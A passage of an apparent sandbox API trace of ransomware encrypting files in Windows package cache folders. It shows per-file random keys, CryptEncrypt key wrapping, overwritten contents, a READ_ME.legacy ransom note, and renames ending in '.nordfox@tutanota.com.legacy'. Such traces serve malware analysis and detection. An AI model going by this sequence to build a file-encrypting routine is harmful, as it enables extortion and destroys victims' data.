lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.912] CloseHandle (hObject=0x7a8) returned 1 [0141.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0141.912] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0141.912] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0141.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a5b0 | out: hHeap=0x520000) returned 1 [0141.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a7a0 | out: hHeap=0x520000) returned 1 [0141.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a5b0 [0141.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60aa88 | out: hHeap=0x520000) returned 1 [0141.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a990 | out: hHeap=0x520000) returned 1 [0141.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d690 | out: hHeap=0x520000) returned 1 [0141.914] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe124e9c7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c958 [0141.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0141.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0141.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0141.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 [0141.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.914] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0141.914] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9218 | out: hHeap=0x520000) returned 1 [0141.914] GetLastError () returned 0x0 [0141.914] SetLastError (dwErrCode=0x0) [0141.914] GetLastError () returned 0x0 [0141.915] SetLastError (dwErrCode=0x0) [0141.915] GetLastError () returned 0x0 [0141.915] SetLastError (dwErrCode=0x0) [0141.915] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0141.915] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d6b8 [0141.915] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0141.915] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610130 [0141.915] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c558 [0141.915] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c558 | out: hHeap=0x520000) returned 1 [0141.915] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20180 [0141.915] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20180 | out: hHeap=0x520000) returned 1 [0141.915] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610130 | out: hHeap=0x520000) returned 1 [0141.915] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0141.915] FindNextFileW (in: hFindFile=0x60c958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebe532, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe124e9c7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0141.915] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0141.915] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5538b0 [0141.915] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.915] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5538b0 | out: hHeap=0x520000) returned 1 [0141.915] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0141.915] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.915] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0141.915] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0141.915] GetLastError () returned 0x0 [0141.915] SetLastError (dwErrCode=0x0) [0141.915] GetLastError () returned 0x0 [0141.915] SetLastError (dwErrCode=0x0) [0141.916] GetLastError () returned 0x0 [0141.916] SetLastError (dwErrCode=0x0) [0141.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0141.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0141.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0141.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610130 [0141.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x60c758 [0141.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60c758 | out: hHeap=0x520000) returned 1 [0141.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0141.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0141.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610130 | out: hHeap=0x520000) returned 1 [0141.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0141.916] FindNextFileW (in: hFindFile=0x60c958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb69f0b00, ftCreationTime.dwHighDateTime=0x1ced51c, ftLastAccessTime.dwLowDateTime=0xb69f0b00, ftLastAccessTime.dwHighDateTime=0x1ced51c, ftLastWriteTime.dwLowDateTime=0xb69f0b00, ftLastWriteTime.dwHighDateTime=0x1ced51c, nFileSizeHigh=0x0, nFileSizeLow=0x588124, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="cab1.cab", cAlternateFileName="")) returned 1 [0141.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0141.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553d30 [0141.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0141.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553d30 | out: hHeap=0x520000) returned 1 [0141.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0141.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0141.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0141.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0141.916] GetLastError () returned 0x0 [0141.916] SetLastError (dwErrCode=0x0) [0141.916] GetLastError () returned 0x0 [0141.916] SetLastError (dwErrCode=0x0) [0141.916] GetLastError () returned 0x0 [0141.916] SetLastError (dwErrCode=0x0) [0141.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x610270 [0141.916] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x610270 | out: hHeap=0x520000) returned 1 [0141.916] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0141.916] FindNextFileW (in: hFindFile=0x60c958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe11b6063, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe11b6063, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe124e9c7, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0141.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0141.917] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553c10 [0141.917] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0141.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553c10 | out: hHeap=0x520000) returned 1 [0141.917] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e87f0 [0141.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0141.917] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0141.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e87f0 | out: hHeap=0x520000) returned 1 [0141.917] GetLastError () returned 0x0 [0141.917] SetLastError (dwErrCode=0x0) [0141.917] GetLastError () returned 0x0 [0141.917] SetLastError (dwErrCode=0x0) [0141.917] GetLastError () returned 0x0 [0141.917] SetLastError (dwErrCode=0x0) [0141.917] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x6103d8 [0141.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x6103d8 | out: hHeap=0x520000) returned 1 [0141.917] FindNextFileW (in: hFindFile=0x60c958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5197e500, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x5197e500, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x5197e500, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 1 [0141.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0141.917] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0141.917] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0141.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0141.917] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e92e0 [0141.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0141.917] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x570c48 [0141.917] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e92e0 | out: hHeap=0x520000) returned 1 [0141.917] GetLastError () returned 0x0 [0141.917] SetLastError (dwErrCode=0x0) [0141.917] GetLastError () returned 0x0 [0141.917] SetLastError (dwErrCode=0x0) [0141.917] GetLastError () returned 0x0 [0141.918] SetLastError (dwErrCode=0x0) [0141.918] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0141.918] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0141.918] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x130) returned 0x563720 [0141.918] FindNextFileW (in: hFindFile=0x60c958, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5197e500, ftCreationTime.dwHighDateTime=0x1ced51d, ftLastAccessTime.dwLowDateTime=0x5197e500, ftLastAccessTime.dwHighDateTime=0x1ced51d, ftLastWriteTime.dwLowDateTime=0x5197e500, ftLastWriteTime.dwHighDateTime=0x1ced51d, nFileSizeHigh=0x0, nFileSizeLow=0x25000, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0 [0141.918] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x130) returned 0x570858 [0141.918] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c5190 [0141.918] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0141.918] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c5190 | out: pbBuffer=0x5c5190) returned 1 [0141.918] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0141.918] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi", dwFileAttributes=0x80) returned 1 [0141.919] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x130) returned 0x571fc8 [0141.919] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1c6) returned 0x5646a8 [0141.919] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0141.919] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ac [0141.919] GetFileSizeEx (in: hFile=0x7ac, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=151552) returned 1 [0141.919] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x25000) returned 0x2f40858 [0141.920] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x25000) returned 0x2e81f40 [0141.921] ReadFile (in: hFile=0x7ac, lpBuffer=0x2f40858, nNumberOfBytesToRead=0x25000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40858*, lpNumberOfBytesRead=0x2e1f9bc*=0x25000, lpOverlapped=0x0) returned 1 [0141.937] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=-151552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0141.937] WriteFile (in: hFile=0x7ac, lpBuffer=0x2e81f40*, nNumberOfBytesToWrite=0x25000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e81f40*, lpNumberOfBytesWritten=0x2e1f9bc*=0x25000, lpOverlapped=0x0) returned 1 [0141.938] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40858 | out: hHeap=0x520000) returned 1 [0141.938] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e81f40 | out: hHeap=0x520000) returned 1 [0141.941] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x25000 [0141.941] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0141.941] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c5190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0141.942] WriteFile (in: hFile=0x7ac, lpBuffer=0x5c5190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c5190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0141.942] WriteFile (in: hFile=0x7ac, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0141.942] CloseHandle (hObject=0x7ac) returned 1 [0141.942] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5190 | out: hHeap=0x520000) returned 1 [0141.942] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0141.942] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0141.952] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0141.952] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570858 | out: hHeap=0x520000) returned 1 [0141.952] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563720 | out: hHeap=0x520000) returned 1 [0141.952] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3f00 [0141.952] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c3cf0 [0141.952] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0141.952] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c3cf0 | out: pbBuffer=0x5c3cf0) returned 1 [0141.952] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34b8 | out: pbBuffer=0x5c34b8) returned 1 [0141.952] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab", dwFileAttributes=0x80) returned 1 [0141.953] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4320 [0141.953] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x17e) returned 0x571fc8 [0141.953] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4320 | out: hHeap=0x520000) returned 1 [0141.953] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x7ac [0141.953] GetFileSizeEx (in: hFile=0x7ac, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=5800228) returned 1 [0141.953] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x588124) returned 0x3120020 [0141.964] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x588124) returned 0x36bc020 [0141.976] ReadFile (in: hFile=0x7ac, lpBuffer=0x3120020, nNumberOfBytesToRead=0x588124, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3120020*, lpNumberOfBytesRead=0x2e1f9bc*=0x588124, lpOverlapped=0x0) returned 1 [0142.299] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=-5800228, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0142.299] WriteFile (in: hFile=0x7ac, lpBuffer=0x36bc020*, nNumberOfBytesToWrite=0x588124, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x36bc020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x588124, lpOverlapped=0x0) returned 1 [0142.375] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3120020 | out: hHeap=0x520000) returned 1 [0142.404] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x36bc020 | out: hHeap=0x520000) returned 1 [0142.432] SetFilePointer (in: hFile=0x7ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x588124 [0142.432] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0142.432] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c3cf0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0142.433] WriteFile (in: hFile=0x7ac, lpBuffer=0x5c3cf0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3cf0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0142.433] WriteFile (in: hFile=0x7ac, lpBuffer=0x5c34b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0142.433] CloseHandle (hObject=0x7ac) returned 1 [0142.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3cf0 | out: hHeap=0x520000) returned 1 [0142.433] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0142.433] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), lpNewFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0142.435] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0142.435] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0142.435] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0142.436] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xf0) returned 0x60a7a0 [0142.436] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x60a5b0 | out: hHeap=0x520000) returned 1 [0142.436] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563d40 | out: hHeap=0x520000) returned 1 [0142.436] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d528 | out: hHeap=0x520000) returned 1 [0142.436] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd9affe46, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ec031b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe1274c0d, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x60c758 [0142.436] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570c48 | out: hHeap=0x520000) returned 1 [0142.436] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x553b80 [0142.436] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0142.436] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x553b80 | out: hHeap=0x520000) returned 1 [0142.436] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9218 